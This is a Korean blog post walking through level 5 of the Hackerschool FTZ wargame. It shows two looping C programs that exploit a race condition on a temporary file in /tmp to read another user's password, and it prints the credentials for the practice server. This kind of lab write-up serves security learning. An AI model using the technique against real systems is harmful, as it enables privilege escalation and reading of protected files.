Blog | Tag | Local | Media | Guest | Login  RSS
Hackerschool FTZ level5
Category : System hacking

ssh://ftz.hackerschool.org
id : level5
pw : what is your name?

Summary : race condition


서버에 접속하여 문제 파일을 확인한다.

[level5@ftz level5]$ ls -l
합계 12
-rw-r--r--    1 root     root          129  3월 23  2000 hint
drwxr-xr-x    2 root     level5       4096  2월 24  2002 public_html
drwxrwx---    3 root     level5       4096  7월 12 12:32 tmp
[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

 


level5.tmp의 내용을 읽어보기위해 /usr/bin/level5를 실행하고 /tmp/ 디렉토리의 파일들을 확인해보니 level5.tmp는 없다.
/usr/bin/level5가 level5.tmp를 생성한 후 바로 지운다고 생각할 수 있다.
하지만 생성하고 지우는데에는 어느 정도의 시간이 있기때문에 race condition을 이용한 공격을 할 수 있다.
/usr/bin/level5를 무한정하게 실행하는 프로그램과 /tmp/level5.tmp를 무한정하게 읽는 프로그램을 작성해 두개다 실행해본다.

[level5@ftz .pwn3r]$ cat exec.c
#include <stdio.h>

int main()
{
 while(1) system("/usr/bin/level5");
}

[level5@ftz .pwn3r]$ cat read.c
#include <stdio.h>

int main()
{
 while(1) system("cat /tmp/level5.tmp 2> /dev/null");


[level5@ftz .pwn3r]$ ./exec & ./read
[1] 32500

next password : what the hell


level6 user의 password를 얻었다.
신고

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (1) 2011.07.17
Hackerschool FTZ level5  (1) 2011.07.17
Hackerschool FTZ level4  (0) 2011.07.17
Hackerschool FTZ level3  (0) 2011.07.17
Hackerschool FTZ level2  (0) 2011.07.17

MiniJelly| 2015.02.02 12:08 | PERMALINK | EDIT/DEL | REPLY
관리자의 승인을 기다리고 있는 댓글입니다
Name
Password
Homepage
비밀글 (Secret)

티스토리 툴바